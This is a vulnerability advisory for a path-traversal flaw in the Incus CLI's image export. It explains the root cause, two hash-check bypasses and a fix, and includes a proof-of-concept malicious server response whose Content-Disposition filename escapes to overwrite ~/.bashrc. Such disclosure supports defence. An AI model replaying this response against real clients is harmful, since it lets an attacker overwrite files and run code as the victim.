CVE-2026-81500
Published:October 12, 2026
Updated:October 13, 2026
Summary The "incus" CLI, when exporting or copying an image from a remote server into a directory target, takes the local filename verbatim from the server-controlled "Content-Disposition: filename=" for UNIFIED images and passes it into "os.Rename(tmp, filepath.Join(target, resp.MetaName))" with no "filepath.Base" / traversal check. A malicious or MITM'd image server that the user points the CLI at can therefore write the downloaded (attacker-controlled) image bytes to an arbitrary path on the client, escaping the export directory — e.g. overwrite "~/.bashrc" → code execution on the client's next shell. ## Root Cause On the unified-image branch ("client/incus_images.go:339", forced by the server not sending a "multipart/form-data" Content-Type), "mime.ParseMediaType(Content-Disposition)" yields "filename = cdParams["filename"]" and "resp.MetaName = filename" is stored verbatim at "client/incus_images.go:356" with NO "filepath.Base". It then reaches "os.Rename(targetMeta, filepath.Join(target, resp.MetaName))" at "cmd/incus/image.go:641". The multipart/split branch is SAFE because it uses "multipart.Part.FileName()", which basenames the value. The hash guard "if imageType != "oci" && !strings.HasPrefix(hash, fingerprint)" at "client/incus_images.go:360" is bypassable: (a) the server sets response header "X-Incus-Type: oci" (":254") → check skipped entirely; or (b) when the user passes an alias, "fingerprint" is itself server-controlled via "dereferenceAlias"→"GetImageAliasType().Target" ("image.go:133-142"), so the attacker sets it to "sha256(malicious_bytes)" and "HasPrefix" passes. ## Impact Arbitrary file overwrite on the client as the invoking user → code execution (shell rc, cron, SSH config). The attacker is a remote/MITM'd image server; the victim must run "incus image export"/"copy" into a directory target from that remote. Pointing the CLI at public/untrusted image servers is a normal Incus workflow. ## Proof of Concept "# Malicious image server. Victim runs: incus image export evil:someimg ~/Downloads/ # Server responds to the /export request with: # HTTP/1.1 200 OK # X-Incus-Type: oci # bypass (a): skips hash check # Content-Type: application/octet-stream # forces unified branch (not multipart) # Content-Disposition: attachment; filename="../../../../home/victim/.bashrc" # <attacker payload bytes> # Client: resp.MetaName = "../../../../home/victim/.bashrc" (no filepath.Base) # os.Rename(tmp, filepath.Join("~/Downloads", resp.MetaName)) -> overwrites ~/.bashrc # -> code execution as victim on next interactive shell." ## Attack Chain 1. Entry: victim runs "incus image export evil:x ~/Downloads/" (directory target). "IsDir(target)" true → "cmd/incus/image.go:569-575", "606" "GetImageFile", "639-641" rename branch. - Guard: none on the server-provided name. 2. Branch force: attacker server responds with a non-"multipart/form-data" Content-Type → unified branch "client/incus_images.go:339" (multipart branch ":286" skipped). - Guard: branch selection. Bypass proof: attacker controls Content-Type. 3. Tainted name: "mime.ParseMediaType(Content-Disposition)" → "resp.MetaName = filename" at "client/incus_images.go:356", NO "filepath.Base". - Guard: "mime.ParseMediaType" filename param. Bypass proof: "go run" confirmed it returns "../../../../home/victim/.bashrc" verbatim, unlike "part.FileName()" (basenames to "evil") in the multipart branch (":310"). 4. Hash guard: "client/incus_images.go:360" "if imageType != "oci" && !strings.HasPrefix(hash, fingerprint)". - Bypass proof (a): response header "X-Incus-Type: oci" (":254") → check skipped (source-verified). (b): alias-derived "fingerprint" = "GetImageAliasType().Target" is server-controlled ("image.go:133-142") → attacker sets "sha256(malicious)"; "HasPrefix" passes (source-verified). 5. Sink: "os.Rename(targetMeta, filepath.Join("~/Downloads", "../../../../home/victim/.bashrc"))" at "cmd/incus/image.go:641" → writes attacker bytes to "~/.bashrc". - Bypass proof: "go run" confirmed "os.Rename" across the collapsed "../" escaped the dir and overwrote the target. 6. Impact: arbitrary file overwrite on the client as the invoking user → RCE. ## Bypass Evidence - "resp.MetaName = filename" at "client/incus_images.go:356" with no sanitization; "os.Rename(...filepath.Join(target, resp.MetaName))" at "cmd/incus/image.go:641". "grep filepath.Base" → only in the upload/import path ("image.go:834/836"), never between ":356" and ":641". - "go run" proofs: "mime.ParseMediaType" returns "../" verbatim; "part.FileName()" basenames (safe branch asymmetry); "os.Rename" across "../" overwrites the escaped target. - DISTINCT from GHSA-f6m5-xw2g-xc4x / CVE-2026-48769: that advisory's DETAILS are the DAEMON ("cmd/incusd/daemon_images.go", "os.Create", trusting "Incus-Image-Hash" for "source.type=url", writing under "/var/lib/incus/images/"). This report covers the CLI CLIENT ("client/incus_images.go" + "cmd/incus/image.go", "os.Rename", trusting "Content-Disposition", writing on the user's local filesystem). Different component, tainted header, sink, and fix. ## Affected Versions "<= 7.3.0" (Go module "github.com/lxc/incus/v7"). Sinks verified present on the v7.3.0 release tag ("90429bf"): "resp.MetaName = filename" at "client/incus_images.go:356" with no sanitization, the hash gate still keyed on the server-supplied "X-Incus-Type" header at ":254"/":360", and the "os.Rename" sink at "cmd/incus/image.go:641". Confirmed still present on "main". ## Suggested Fix Apply "filepath.Base" to "resp.MetaName" (and "resp.RootfsName") on the unified-image branch before "os.Rename", mirroring the multipart branch's use of "part.FileName()"; reject any name containing path separators or "..". --- Reported by zx (Jace) — GitHub: @manus-use
Affected Packages
https://github.com/lxc/incus.git (GITHUB):
Affected version(s) =v7.3.0 <v7.4.0Fix Suggestion:
Update to version v7.4.0github.com/lxc/incus/v7 (GO):
Affected version(s) =v7.3.0 <v7.4.0Fix Suggestion:
Update to version v7.4.0Related Resources (3)
Do you need more information?
Contact UsCVSS v4
Base Score:
2.3
Attack Vector
NETWORK
Attack Complexity
HIGH
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
PASSIVE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
LOW
Vulnerable System Availability
LOW
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
4.2
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality
NONE
Integrity
LOW
Availability
LOW
Weakness Type (CWE)
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')